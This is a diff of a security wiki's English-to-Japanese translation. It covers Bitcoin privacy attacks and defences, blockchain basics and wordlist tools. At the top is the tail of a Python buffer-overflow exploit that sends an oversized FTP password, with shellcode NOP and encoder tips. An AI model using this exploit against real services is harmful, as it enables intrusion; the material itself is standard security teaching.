s.send('USER username' +'\r\n') s.send('USER username' +'\r\n')
data = s.recv(1024) data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n') s.send('PASS ' + buffer + '\r\n')
print "\nFinished!." print "\nFinished!."
except: except:
print "Could not connect to "+ip+":"+port print "Could not connect to "+ip+":"+port
``` ```
> [!WARNING] > [!WARNING]
> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode > 自己を**上書きする**シェルコードがあるため、シェルコードの前に常にいくつかのNOPを追加することが重要です。
## Improving the shellcode ## シェルコードの改善
Add this parameters:
このパラメータを追加します:
```bash ```bash
EXITFUNC=thread -e x86/shikata_ga_nai EXITFUNC=thread -e x86/shikata_ga_nai
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,180 +1,176 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Concepts ## 基本概念
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. - **スマートコントラクト**は、特定の条件が満たされたときにブロックチェーン上で実行されるプログラムとして定義され、中介者なしで合意の実行を自動化します。
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. - **分散型アプリケーション (dApps)**はスマートコントラクトに基づいて構築され、ユーザーフレンドリーなフロントエンドと透明で監査可能なバックエンドを特徴とします。
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - **トークンとコイン**は、コインがデジタルマネーとして機能するのに対し、トークンは特定の文脈での価値や所有権を表します。
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. - **ユーティリティトークン**はサービスへのアクセスを付与し、**セキュリティトークン**は資産の所有権を示します。
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. - **DeFi**は分散型金融を意味し、中央集権的な権限なしで金融サービスを提供します。
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. - **DEX**と**DAO**はそれぞれ分散型取引所プラットフォームと分散型自律組織を指します。
## Consensus Mechanisms ## コンセンサスメカニズム
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: コンセンサスメカニズムは、ブロックチェーン上での安全で合意された取引の検証を確保します:
- **Proof of Work (PoW)** relies on computational power for transaction verification. - **プルーフ・オブ・ワーク (PoW)**は、取引の検証に計算能力を依存します。
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. - **プルーフ・オブ・ステーク (PoS)**は、バリデーターが一定量のトークンを保有することを要求し、PoWに比べてエネルギー消費を削減します。
## Bitcoin Essentials ## ビットコインの基本
### Transactions ### 取引
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. ビットコインの取引は、アドレス間で資金を移動させることを含みます。取引はデジタル署名を通じて検証され、プライベートキーの所有者のみが転送を開始できることを保証します。
#### Key Components: #### 主要コンポーネント:
- **Multisignature Transactions** require multiple signatures to authorize a transaction. - **マルチシグネチャ取引**は、取引を承認するために複数の署名を必要とします。
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). - 取引は**入力**(資金の出所)、**出力**(宛先)、**手数料**(マイナーに支払われる)、および**スクリプト**(取引ルール)で構成されます。
### Lightning Network ### ライトニングネットワーク
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. ビットコインのスケーラビリティを向上させることを目的としており、チャネル内で複数の取引を可能にし、最終的な状態のみをブロックチェーンにブロードキャストします。
## Bitcoin Privacy Concerns ## ビットコインのプライバシーの懸念
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. プライバシー攻撃、例えば**共通入力所有権**や**UTXO変更アドレス検出**は、取引パターンを悪用します。**ミキサー**や**CoinJoin**のような戦略は、ユーザー間の取引リンクを隠すことで匿名性を向上させます。
## Acquiring Bitcoins Anonymously ## ビットコインを匿名で取得する方法
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. 方法には現金取引、マイニング、ミキサーの使用が含まれます。**CoinJoin**は複数の取引を混ぜて追跡を複雑にし、**PayJoin**はCoinJoinを通常の取引として偽装してプライバシーを高めます。
# Bitcoin Privacy Atacks # ビットコインのプライバシー攻撃
# Summary of Bitcoin Privacy Attacks # ビットコインのプライバシー攻撃の概要
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. ビットコインの世界では、取引のプライバシーとユーザーの匿名性はしばしば懸念の対象です。攻撃者がビットコインのプライバシーを侵害するいくつかの一般的な方法の簡略化された概要を以下に示します。
## **Common Input Ownership Assumption** ## **共通入力所有権の仮定**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. 異なるユーザーの入力が単一の取引に結合されることは一般的に稀であり、複雑さが関与します。したがって、**同じ取引内の2つの入力アドレスは、しばしば同じ所有者に属すると仮定されます**。
## **UTXO Change Address Detection** ## **UTXO変更アドレス検出**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. UTXO、または**未使用取引出力**は、取引で完全に消費されなければなりません。もしその一部だけが別のアドレスに送信されると、残りは新しい変更アドレスに送られます。観察者はこの新しいアドレスが送信者に属すると仮定し、プライバシーが侵害されます。
### Example ###
To mitigate this, mixing services or using multiple addresses can help obscure ownership. これを軽減するために、ミキシングサービスや複数のアドレスを使用することで所有権を隠すことができます。
## **Social Networks & Forums Exposure** ## **ソーシャルネットワークとフォーラムの露出**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. ユーザーは時々自分のビットコインアドレスをオンラインで共有し、**アドレスを所有者にリンクさせるのが容易になります**。
## **Transaction Graph Analysis** ## **取引グラフ分析**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. 取引はグラフとして視覚化でき、資金の流れに基づいてユーザー間の潜在的な接続を明らかにします。
## **Unnecessary Input Heuristic (Optimal Change Heuristic)** ## **不必要な入力ヒューリスティック(最適変更ヒューリスティック)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. このヒューリスティックは、複数の入力と出力を持つ取引を分析して、どの出力が送信者に戻る変更であるかを推測することに基づいています。
### Example
### 例
```bash ```bash
2 btc --> 4 btc 2 btc --> 4 btc
3 btc 1 btc 3 btc 1 btc
``` ```
もし追加の入力が出力を単一の入力よりも大きくする場合、それはヒューリスティックを混乱させる可能性があります。
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. ## **強制アドレス再利用**
## **Forced Address Reuse** 攻撃者は以前に使用されたアドレスに少額を送信し、受取人が将来の取引でこれらを他の入力と組み合わせることを期待して、アドレスをリンクさせることを狙います。
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. ### 正しいウォレットの動作
### Correct Wallet Behavior ウォレットは、プライバシーの漏洩を防ぐために、すでに使用された空のアドレスで受け取ったコインを使用することを避けるべきです。
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. ## **その他のブロックチェーン分析技術**
## **Other Blockchain Analysis Techniques** - **正確な支払い額:** お釣りのない取引は、同じユーザーが所有する2つのアドレス間のものである可能性が高いです。
- **丸い数字:** 取引における丸い数字は、支払いであることを示唆し、非丸い出力はお釣りである可能性が高いです。
- **ウォレットフィンガープリンティング:** 異なるウォレットは独自の取引作成パターンを持ち、分析者が使用されたソフトウェアやお釣りのアドレスを特定できるようにします。
- **金額とタイミングの相関:** 取引の時間や金額を開示することは、取引を追跡可能にする可能性があります。
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. ## **トラフィック分析**
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **Traffic Analysis** ネットワークトラフィックを監視することで、攻撃者は取引やブロックをIPアドレスにリンクさせる可能性があり、ユーザーのプライバシーが侵害されることがあります。これは、あるエンティティが多くのビットコインードを運営している場合に特に当てはまり、取引を監視する能力が向上します。
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. ## もっと
## More プライバシー攻撃と防御の包括的なリストについては、[Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)を訪れてください。
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). # 匿名ビットコイン取引
# Anonymous Bitcoin Transactions ## 匿名でビットコインを取得する方法
## Ways to Get Bitcoins Anonymously - **現金取引**: 現金でビットコインを取得すること。
- **現金の代替**: ギフトカードを購入し、それをオンラインでビットコインと交換すること。
- **マイニング**: ビットコインを得る最もプライベートな方法はマイニングであり、特に一人で行う場合は、マイニングプールがマイナーのIPアドレスを知っている可能性があるためです。[マイニングプール情報](https://en.bitcoin.it/wiki/Pooled_mining)
- **盗難**: 理論的には、ビットコインを盗むことも匿名で取得する方法の一つですが、これは違法であり推奨されません。
- **Cash Transactions**: Acquiring bitcoin through cash. ## ミキシングサービス
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## Mixing Services ミキシングサービスを使用することで、ユーザーは**ビットコインを送信**し、**異なるビットコインを受け取る**ことができ、元の所有者を追跡することが難しくなります。しかし、これはサービスがログを保持せず、実際にビットコインを返すことを信頼する必要があります。代替のミキシングオプションにはビットコインカジノが含まれます。
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
## CoinJoin ## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. **CoinJoin**は、異なるユーザーからの複数の取引を1つに統合し、入力と出力を一致させようとする人にとってプロセスを複雑にします。その効果にもかかわらず、ユニークな入力と出力のサイズを持つ取引は依然として追跡される可能性があります。
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. CoinJoinを使用した可能性のある取引の例には、`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a``85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`が含まれます。
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. 詳細については、[CoinJoin](https://coinjoin.io/en)を訪れてください。Ethereumの同様のサービスについては、マイナーからの資金で取引を匿名化する[Tornado Cash](https://tornado.cash)をチェックしてください。
## PayJoin ## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. CoinJoinのバリアントである**PayJoin**またはP2EPは、2つの当事者顧客と商人間の取引を通常の取引として偽装し、CoinJoinの特徴的な等しい出力を持たないため、非常に検出が難しくなります。これにより、取引監視エンティティが使用する一般的な入力所有ヒューリスティックを無効にする可能性があります。
```plaintext ```plaintext
2 btc --> 3 btc 2 btc --> 3 btc
5 btc 4 btc 5 btc 4 btc
``` ```
取引は上記のようにPayJoinであり、標準的なビットコイン取引と区別がつかないままプライバシーを強化します。
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. **PayJoinの利用は従来の監視手法を大きく妨げる可能性があり、**取引のプライバシーを追求する上で有望な発展です。
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. # 暗号通貨におけるプライバシーのベストプラクティス
# Best Practices for Privacy in Cryptocurrencies ## **ウォレット同期技術**
## **Wallet Synchronization Techniques** プライバシーとセキュリティを維持するためには、ウォレットをブロックチェーンと同期させることが重要です。2つの方法が際立っています
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: - **フルノード**:ブロックチェーン全体をダウンロードすることで、フルノードは最大限のプライバシーを確保します。過去に行われたすべての取引がローカルに保存され、敵対者がユーザーが関心を持つ取引やアドレスを特定することは不可能です。
- **クライアントサイドブロックフィルタリング**:この方法は、ブロックチェーン内の各ブロックにフィルターを作成し、ウォレットが特定の関心をネットワークの観察者にさらすことなく関連する取引を特定できるようにします。軽量ウォレットはこれらのフィルターをダウンロードし、ユーザーのアドレスと一致する場合にのみフルブロックを取得します。
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. ## **匿名性のためのTorの利用**
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **Utilizing Tor for Anonymity** ビットコインがピアツーピアネットワークで動作するため、IPアドレスを隠すためにTorを使用することが推奨され、ネットワークとの相互作用時にプライバシーが向上します。
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. ## **アドレスの再利用防止**
## **Preventing Address Reuse** プライバシーを守るためには、取引ごとに新しいアドレスを使用することが重要です。アドレスを再利用すると、取引が同じ主体にリンクされることでプライバシーが損なわれる可能性があります。現代のウォレットはその設計によりアドレスの再利用を避けるようにしています。
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. ## **取引プライバシーの戦略**
## **Strategies for Transaction Privacy** - **複数の取引**:支払いをいくつかの取引に分割することで、取引額を不明瞭にし、プライバシー攻撃を防ぎます。
- **お釣りの回避**:お釣りの出力が不要な取引を選択することで、プライバシーを向上させ、お釣り検出手法を混乱させます。
- **複数のお釣り出力**:お釣りを避けることができない場合でも、複数のお釣り出力を生成することでプライバシーを改善できます。
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. # **モネロ:匿名性の灯台**
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **Monero: A Beacon of Anonymity** モネロはデジタル取引における絶対的な匿名性の必要性に応え、高いプライバシー基準を設定しています。
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. # **イーサリアム:ガスと取引**
# **Ethereum: Gas and Transactions** ## **ガスの理解**
## **Understanding Gas** ガスはイーサリアム上での操作を実行するために必要な計算努力を測定し、**gwei**で価格が設定されています。例えば、2,310,000 gweiまたは0.00231 ETHの取引は、ガス制限と基本料金が含まれ、マイナーへのインセンティブとしてチップが支払われます。ユーザーは過剰支払いを避けるために最大料金を設定でき、余剰は返金されます。
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. ## **取引の実行**
## **Executing Transactions** イーサリアムの取引には送信者と受信者が関与し、どちらもユーザーまたはスマートコントラクトのアドレスである可能性があります。取引には手数料が必要で、マイニングされなければなりません。取引における重要な情報には、受信者、送信者の署名、価値、オプションのデータ、ガス制限、手数料が含まれます。特に、送信者のアドレスは署名から推測されるため、取引データに含める必要はありません。
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. これらのプラクティスとメカニズムは、プライバシーとセキュリティを優先しながら暗号通貨に関与しようとする人々にとって基礎的なものです。
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. ## 参考文献
## References
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -4,7 +4,7 @@
- **シンプルリスト:** 各行にエントリが含まれるリスト - **シンプルリスト:** 各行にエントリが含まれるリスト
- **ランタイムファイル:** ランタイムで読み込まれるリスト(メモリにロードされない)。大きなリストをサポートするため。 - **ランタイムファイル:** ランタイムで読み込まれるリスト(メモリにロードされない)。大きなリストをサポートするため。
- **ケース変更:** 文字列のリストにいくつかの変更を適用する(変更なし、小文字、大文字、固有名詞 - 最初の文字を大文字にし、残りを小文字にする、固有名詞 - 最初の文字を大文字にし、残りはそのまま)。 - **ケース変更:** 文字列のリストにいくつかの変更を適用する(変更なし、小文字、大文字、適切な名前 - 最初の文字を大文字にし、残りを小文字にする、適切な名前 - 最初の文字を大文字にし、残りはそのままにする)。
- **数字:** XからYまでの数字をZステップで生成するか、ランダムに生成する。 - **数字:** XからYまでの数字をZステップで生成するか、ランダムに生成する。
- **ブルートフォース:** 文字セット、最小および最大長。 - **ブルートフォース:** 文字セット、最小および最大長。

View File

@ -1,180 +1,176 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Basic Concepts ## 基本概念
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. - **スマートコントラクト**は、特定の条件が満たされたときにブロックチェーン上で実行されるプログラムとして定義され、仲介者なしで合意の実行を自動化します。
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. - **分散型アプリケーション (dApps)**はスマートコントラクトに基づいて構築され、ユーザーフレンドリーなフロントエンドと透明で監査可能なバックエンドを特徴とします。
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - **トークンとコイン**は区別され、コインはデジタルマネーとして機能し、トークンは特定の文脈での価値や所有権を表します。
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. - **ユーティリティトークン**はサービスへのアクセスを付与し、**セキュリティトークン**は資産の所有権を示します。
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. - **DeFi**は分散型金融を意味し、中央集権的な権限なしで金融サービスを提供します。
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. - **DEX**と**DAO**はそれぞれ分散型取引所プラットフォームと分散型自律組織を指します。
## Consensus Mechanisms ## コンセンサスメカニズム
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: コンセンサスメカニズムは、ブロックチェーン上での安全で合意された取引の検証を確保します:
- **Proof of Work (PoW)** relies on computational power for transaction verification. - **プルーフ・オブ・ワーク (PoW)**は、取引の検証に計算能力を依存します。
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. - **プルーフ・オブ・ステーク (PoS)**は、バリデーターが一定量のトークンを保持することを要求し、PoWに比べてエネルギー消費を削減します。
## Bitcoin Essentials ## ビットコインの基本
### Transactions ### 取引
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. ビットコインの取引は、アドレス間で資金を移動させることを含みます。取引はデジタル署名を通じて検証され、プライベートキーの所有者のみが転送を開始できることを保証します。
#### Key Components: #### 主要コンポーネント:
- **Multisignature Transactions** require multiple signatures to authorize a transaction. - **マルチシグネチャ取引**は、取引を承認するために複数の署名を必要とします。
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). - 取引は**入力**(資金の出所)、**出力**(目的地)、**手数料**(マイナーに支払われる)、および**スクリプト**(取引ルール)で構成されます。
### Lightning Network ### ライトニングネットワーク
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. ビットコインのスケーラビリティを向上させることを目的としており、チャネル内で複数の取引を可能にし、最終的な状態のみをブロックチェーンにブロードキャストします。
## Bitcoin Privacy Concerns ## ビットコインのプライバシーの懸念
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. プライバシー攻撃、例えば**共通入力所有権**や**UTXO変更アドレス検出**は、取引パターンを悪用します。**ミキサー**や**CoinJoin**のような戦略は、ユーザー間の取引リンクを隠すことで匿名性を向上させます。
## Acquiring Bitcoins Anonymously ## ビットコインを匿名で取得する方法
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. 方法には現金取引、マイニング、ミキサーの使用が含まれます。**CoinJoin**は複数の取引を混ぜて追跡を複雑にし、**PayJoin**はCoinJoinを通常の取引として偽装してプライバシーを高めます。
# Bitcoin Privacy Atacks # ビットコインのプライバシー攻撃
# Summary of Bitcoin Privacy Attacks # ビットコインのプライバシー攻撃の概要
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. ビットコインの世界では、取引のプライバシーとユーザーの匿名性はしばしば懸念の対象です。攻撃者がビットコインのプライバシーを侵害するいくつかの一般的な方法の簡略化された概要を以下に示します。
## **Common Input Ownership Assumption** ## **共通入力所有権の仮定**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. 異なるユーザーの入力が単一の取引に結合されることは一般的に稀であり、複雑さが関与します。したがって、**同じ取引内の2つの入力アドレスは、しばしば同じ所有者に属すると仮定されます**。
## **UTXO Change Address Detection** ## **UTXO変更アドレス検出**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. UTXO、または**未使用取引出力**は、取引で完全に消費されなければなりません。もしその一部だけが別のアドレスに送信されると、残りは新しい変更アドレスに送られます。観察者はこの新しいアドレスが送信者に属すると仮定し、プライバシーが侵害されます。
### Example ###
To mitigate this, mixing services or using multiple addresses can help obscure ownership. これを軽減するために、ミキシングサービスや複数のアドレスを使用することで所有権を隠すのに役立ちます。
## **Social Networks & Forums Exposure** ## **ソーシャルネットワークとフォーラムの露出**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. ユーザーは時々自分のビットコインアドレスをオンラインで共有し、**アドレスを所有者にリンクさせるのが容易になります**。
## **Transaction Graph Analysis** ## **取引グラフ分析**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. 取引はグラフとして視覚化でき、資金の流れに基づいてユーザー間の潜在的な接続を明らかにします。
## **Unnecessary Input Heuristic (Optimal Change Heuristic)** ## **不必要な入力ヒューリスティック(最適変更ヒューリスティック)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. このヒューリスティックは、複数の入力と出力を持つ取引を分析して、どの出力が送信者に戻る変更であるかを推測することに基づいています。
### Example
### 例
```bash ```bash
2 btc --> 4 btc 2 btc --> 4 btc
3 btc 1 btc 3 btc 1 btc
``` ```
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Forced Address Reuse** ## **強制アドレス再利用**
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. 攻撃者は以前に使用されたアドレスに少額を送信し、受取人が将来の取引でこれらを他の入力と組み合わせることを期待して、アドレスをリンクさせることを狙います。
### Correct Wallet Behavior ### 正しいウォレットの動作
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. ウォレットは、プライバシーの漏洩を防ぐために、すでに使用された空のアドレスで受け取ったコインを使用することを避けるべきです。
## **Other Blockchain Analysis Techniques** ## **その他のブロックチェーン分析技術**
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. - **正確な支払い額:** お釣りのない取引は、同じユーザーが所有する2つのアドレス間のものである可能性が高いです。
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. - **丸い数字:** 取引における丸い数字は、支払いであることを示唆し、非丸い出力はお釣りである可能性が高いです。
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. - **ウォレットフィンガープリンティング:** 異なるウォレットは独自の取引生成パターンを持ち、分析者が使用されたソフトウェアやお釣りのアドレスを特定できるようにします。
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. - **金額とタイミングの相関:** 取引の時間や金額を開示することは、取引を追跡可能にする可能性があります。
## **Traffic Analysis** ## **トラフィック分析**
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. ネットワークトラフィックを監視することで、攻撃者は取引やブロックをIPアドレスにリンクさせる可能性があり、ユーザーのプライバシーが侵害されることがあります。これは、あるエンティティが多くのBitcoinードを運営している場合に特に当てはまり、取引を監視する能力が向上します。
## More ## もっと
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). プライバシー攻撃と防御の包括的なリストについては、[Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)を訪れてください。
# Anonymous Bitcoin Transactions # 匿名のBitcoin取引
## Ways to Get Bitcoins Anonymously ## 匿名でBitcoinを取得する方法
- **Cash Transactions**: Acquiring bitcoin through cash. - **現金取引**: 現金でビットコインを取得すること。
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. - **現金の代替**: ギフトカードを購入し、それをオンラインでビットコインと交換すること。
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) - **マイニング**: ビットコインを得る最もプライベートな方法はマイニングであり、特に一人で行う場合は、マイニングプールがマイナーのIPアドレスを知っている可能性があるためです。[マイニングプール情報](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. - **盗難**: 理論的には、ビットコインを盗むことも匿名で取得する方法の一つですが、これは違法であり推奨されません。
## Mixing Services ## ミキシングサービス
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. ミキシングサービスを使用することで、ユーザーは**ビットコインを送信**し、**異なるビットコインを受け取る**ことができ、元の所有者を追跡することが難しくなります。しかし、これはサービスがログを保持せず、実際にビットコインを返すことを信頼する必要があります。代替のミキシングオプションにはBitcoinカジが含まれます。
## CoinJoin ## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. **CoinJoin**は、異なるユーザーからの複数の取引を1つに統合し、入力と出力を一致させようとする人にとってプロセスを複雑にします。その効果にもかかわらず、ユニークな入力と出力のサイズを持つ取引は、依然として追跡される可能性があります。
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. CoinJoinを使用した可能性のある取引の例には`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a``85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`が含まれます。
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. 詳細については、[CoinJoin](https://coinjoin.io/en)を訪れてください。Ethereumの同様のサービスについては、マイナーからの資金で取引を匿名化する[Tornado Cash](https://tornado.cash)をチェックしてください。
## PayJoin ## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. CoinJoinのバリアントである**PayJoin**またはP2EPは、2つの当事者顧客と商人間の取引を通常の取引として偽装し、CoinJoinの特徴的な等しい出力を持たないため、非常に検出が難しくなります。これにより、取引監視機関が使用する一般的な入力所有権のヒューリスティックが無効になる可能性があります。
```plaintext ```plaintext
2 btc --> 3 btc 2 btc --> 3 btc
5 btc 4 btc 5 btc 4 btc
``` ```
